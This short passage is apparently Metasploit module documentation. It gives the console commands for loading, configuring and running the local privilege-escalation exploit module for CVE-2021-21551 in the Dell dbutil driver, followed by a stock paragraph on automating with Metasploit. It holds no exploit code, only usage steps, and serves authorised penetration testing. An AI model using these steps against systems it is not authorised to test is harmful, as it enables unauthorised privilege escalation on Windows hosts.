To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/local/cve_2021_21551_dbutil_memmove
msf exploit(cve_2021_21551_dbutil_memmove) > show targets
...targets...
msf exploit(cve_2021_21551_dbutil_memmove) > set TARGET < target-id >
msf exploit(cve_2021_21551_dbutil_memmove) > show options
...show and set options...
msf exploit(cve_2021_21551_dbutil_memmove) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
